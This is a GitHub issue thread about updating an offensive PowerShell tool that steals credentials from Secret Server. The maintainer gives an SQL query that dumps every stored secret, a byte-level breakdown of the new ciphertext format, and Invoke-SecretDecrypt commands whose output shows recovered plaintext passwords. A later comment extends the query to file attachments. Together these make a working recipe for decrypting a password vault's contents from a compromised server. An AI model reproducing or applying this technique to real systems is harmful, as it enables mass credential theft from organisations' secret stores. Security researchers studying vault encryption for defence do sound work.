Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Does not work with v10.5 #5

Open
huzzeytech opened this issue Oct 5, 2018 · 9 comments
Open

Does not work with v10.5 #5

huzzeytech opened this issue Oct 5, 2018 · 9 comments

Comments

@huzzeytech
Copy link

No description provided.

@d-miles
Copy link

d-miles commented Aug 29, 2019

@denandz any chance of revisiting this tool for 10.5 compatibility?

@ghost
Copy link

ghost commented Nov 25, 2019

would love to see an update too.
running this in a lab with version 10.7, here is the output:

VERBOSE: encryption.config key count: 3
VERBOSE: Got encryption.config key: key
VERBOSE: Got encryption.config value: a13867e1bdcb9c24a6207161123d01a7
VERBOSE: Got encryption.config key: iv
VERBOSE: Got encryption.config value: 0a815d06e749e0cc04255be3655f756a
VERBOSE: Got encryption.config key: key256
VERBOSE: Got encryption.config value: 56989335f7c62ea6bc18be9e4cef46dd2fa086275e529be26469733772e00a14
Exception calling "TransformFinalBlock" with "3" argument(s): "The input data is not a complete block."
At C:\temp\SecretStealer.ps1:168 char:13

  •         $intermediateKey = $cryptoTransform.TransformFinalBlock($ ...
    
  •         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : NotSpecified: (:) [], MethodInvocationException
    • FullyQualifiedErrorId : CryptographicException

Cannot index into a null array.
At C:\temp\SecretStealer.ps1:169 char:13

  •         $intKeyString = [System.BitConverter]::ToString($intermed ...
    
  •         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : NullArray

@m3Ik0r
Copy link

m3Ik0r commented Jul 16, 2020

Getting the same with v10.8

Exception calling "TransformFinalBlock" - "The input data is not a complete block"
Exception calling "CreateDecryptor" - "Value cannot be null"
Cannot index into a null array

@denandz
Copy link
Owner

denandz commented Jul 31, 2020

Righto, looks like >v10.5 switched up the cipher text storage a bit and added HMACs plus some other stuff we can more or less ignore. The new structure stores the ciphertext/iv/mac data in a single blob, but the overall master->intermediate->item encryption flow is the same.

The following SQL will pull all the items:

select s.SecretName, f.SecretFieldName, s.[Key], i.ItemValue from tbSecretItem as i JOIN tbSecret as s ON (s.SecretID = i.SecretID) JOIN tbSecretField as f on (i.SecretFieldID = f.SecretFieldID)

The Key and ItemValue will look something like this:

0x03022F5B28A351A76E7E6A98878944EC28D53F756415A9A67BA3CE2525441D1FFC115BCBAB7E31471292A47466332677A1A7B29CE679C892496604E7F7DB40B6CB61C6C1D8D914B1814B4DDB356E6FE19ED8EECD9AAD490B97EF43F0DBB7FBBC2EE8

[0302][2F5B28A351A76E7E6A98878944EC28D5][3F756415A9A67BA3CE2525441D1FFC115BCBAB7E31471292A47466332677A1A7][B29CE679C892496604E7F7DB40B6CB61C6C1D8D914B1814B4DDB356E6FE19ED8EECD9AAD490B97EF43F0DBB7FBBC2EE8]

[Header 2 bytes][IV 16 bytes][MAC 32 bytes][Ciphertext n bytes]

This gives you all the data you need for Invoke-SecretDecrypt. Example below:

SQLCMD.EXE -d TSS -Q 'select s.SecretName, f.SecretFieldName, s.[Key], i.ItemValue from tbSecretItem as i JOIN tbSecret as s ON (s.SecretID = i.SecretID) JOIN tbSecretField as f on (i.SecretFieldID = f.SecretFieldID)' -W

SecretName SecretFieldName Key ItemValue
---------- --------------- --- ---------
password Password 0x03022F5B28A351A76E7E6A98878944EC28D53F756415A9A67BA3CE2525441D1FFC115BCBAB7E31471292A47466332677A1A7B29CE679C892496604E7F7DB40B6CB61C6C1D8D914B1814B4DDB356E6FE19ED8EECD9AAD490B97EF43F0DBB7FBBC2EE8 03022dcfd4b31359af5d664912bc42886ef6ca98a9c57efbe82ee2834099f842fd2646dd687187901601cb1baf2a3e5954f7d29c73e3dd865bd46333fe7ea0aabeee50570e0132257ac61e906eaeb373b765e510aefc9afa6fd6a5ebdae529a98cdf
... yoink ...

From the above we need to pull out the intermediate cipher text and IV (used to be called IVMek), which comes from Key, along with the Item cipher text and IV, which comes from ItemValue. Something like:

Key cipher text: B29CE679C892496604E7F7DB40B6CB61C6C1D8D914B1814B4DDB356E6FE19ED8EECD9AAD490B97EF43F0DBB7FBBC2EE8
Key IV: 2F5B28A351A76E7E6A98878944EC28D5
Item cipher text: d29c73e3dd865bd46333fe7ea0aabeee50570e0132257ac61e906eaeb373b765e510aefc9afa6fd6a5ebdae529a98cdf
Item IV: 2dcfd4b31359af5d664912bc42886ef6

Which can get fed to Invoke-SecretDecrypt:

PS C:\> $item = "03022dcfd4b31359af5d664912bc42886ef6ca98a9c57efbe82ee2834099f842fd2646dd687187901601cb1baf2a3e5954f7d29c73e3dd865bd46333fe7ea0aabeee50570e0132257ac61e906eaeb373b765e510aefc9afa6fd6a5ebdae529a98cdf"
PS C:\> $key = "03022F5B28A351A76E7E6A98878944EC28D53F756415A9A67BA3CE2525441D1FFC115BCBAB7E31471292A47466332677A1A7B29CE679C892496604E7F7DB40B6CB61C6C1D8D914B1814B4DDB356E6FE19ED8EECD9AAD490B97EF43F0DBB7FBBC2EE8"
PS C:\> Invoke-SecretDecrypt -EncryptionConfig C:\inetpub\wwwroot\SecretServer\encryption.config -NewFormat -Key $key.Substring(100) -IVMek $key.Substring(4, 32) -Item $item.Substring(100) -ItemIV $item.Substring(4, 32)
Decrypted: 3C2Bnewpassowrd122211
PS C:\> $key = "030253268D0E5EE5BD7DF3286B14FFC80E1B20B11CF9B5A222B479BAB6D486DD1936C1953E185FA9250E6498D5D9EB33FDB2170B71B472537EF2D0A74276FFC17036E9271494572A3BF01A9D84DCB9DBAAB9BDA384FE815334197750919069D7338B"
PS C:\> $item = "0302e168a8cdfc88463626eb27a7bb1b685c8a66565844974f41379100e5ec6839599f9f94a1f154e9e1cfa57ca9785a27565b70b785fde7448d0940f1ad6103138cbffb37ed797a7d2da07a5f963a5fa676b144912281eab6df06d5fbc74d9e7a5e"
PS C:\> Invoke-SecretDecrypt -EncryptionConfig C:\inetpub\wwwroot\SecretServer\encryption.config -NewFormat -Key $key.Substring(100) -IVMek $key.Substring(4, 32) -Item $item.Substring(100) -ItemIV $item.Substring(4, 32)
Decrypted: 1AE3E7zJj**l9**5
PS C:\>

The challenge here is now there are enough disparities between the various versions that for SecretServerSecretStealer (specifically Invoke-SecretStealer) to work nicely it would need to implement some form of version detection. I'm going to leave this issue open for now.

@d-miles
Copy link

d-miles commented Aug 19, 2020

Thanks @denandz! I was able to modify my module accordingly and all is well! Note in the two example decrypted passwords that the first 4 characters are not a part of the password -- I stripped these out in my own implementation.

I may provide a pull request -- however, my scenario is not so much compromising Secret Server as it is making a utility that can retrieve secrets from a free version of Secret Server (which doesn't have API access), so I'm not sure how useful it would be to an audience who is actually working with compromised servers ;)

@denandz
Copy link
Owner

denandz commented Aug 19, 2020

Thanks @denandz! I was able to modify my module accordingly and all is well! Note in the two example decrypted passwords that the first 4 characters are not a part of the password -- I stripped these out in my own implementation.

I may provide a pull request -- however, my scenario is not so much compromising Secret Server as it is making a utility that can retrieve secrets from a free version of Secret Server (which doesn't have API access), so I'm not sure how useful it would be to an audience who is actually working with compromised servers ;)

Those first two bytes are a version header. Checking the values and notifying when they aren't the expected value would probably be a good idea, might give an early indication of changes in later Secret Server versions?

@c3c
Copy link

c3c commented Jun 15, 2023

If you want to also decrypt file attachments, you can modify the query like this:

select s.SecretName, f.SecretFieldName, s.[Key], i.ItemValue, a.FileContents from tbSecretItem as i JOIN tbSecret as s ON (s.SecretID = i.SecretID) JOIN tbSecretField as f on (i.SecretFieldID = f.SecretFieldID) LEFT JOIN tbFileAttachment AS a on (i.FileAttachmentID = a.FileAttachmentID)

Then instead of decrypting the ItemValue field, use the FileContents field instead.
You will want to omit unicode decoding from the Invoke-SecretDecrypt function and just dump to binary. Or alternatively if it is a plaintext file, replace [System.Text.Encoding]::Unicode.GetString with [System.Text.Encoding]::ASCII.GetString.

@fela15
Copy link

fela15 commented Sep 21, 2023

might be reviving something already dead but by any chance anyone is aware of the changes on the 11+ version? things look similar but the KEY entry in the DB is always NULL. where did you reverse how these values were used? I might try to dig in a bit to see what changed.

@denandz
Copy link
Owner

denandz commented Sep 22, 2023

might be reviving something already dead but by any chance anyone is aware of the changes on the 11+ version? things look similar but the KEY entry in the DB is always NULL. where did you reverse how these values were used? I might try to dig in a bit to see what changed.

They've likely switched up the key logic again. You'll need to dig into the application logic to figure out how its working in 11+. This might be useful: https://pulsesecurity.co.nz/articles/dotnet-dynamic-analysis

If you figure out the new logic, please feel free to drop it in here and we can figure out how to work it into SecretServerSecretStealer. Good luck!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

6 participants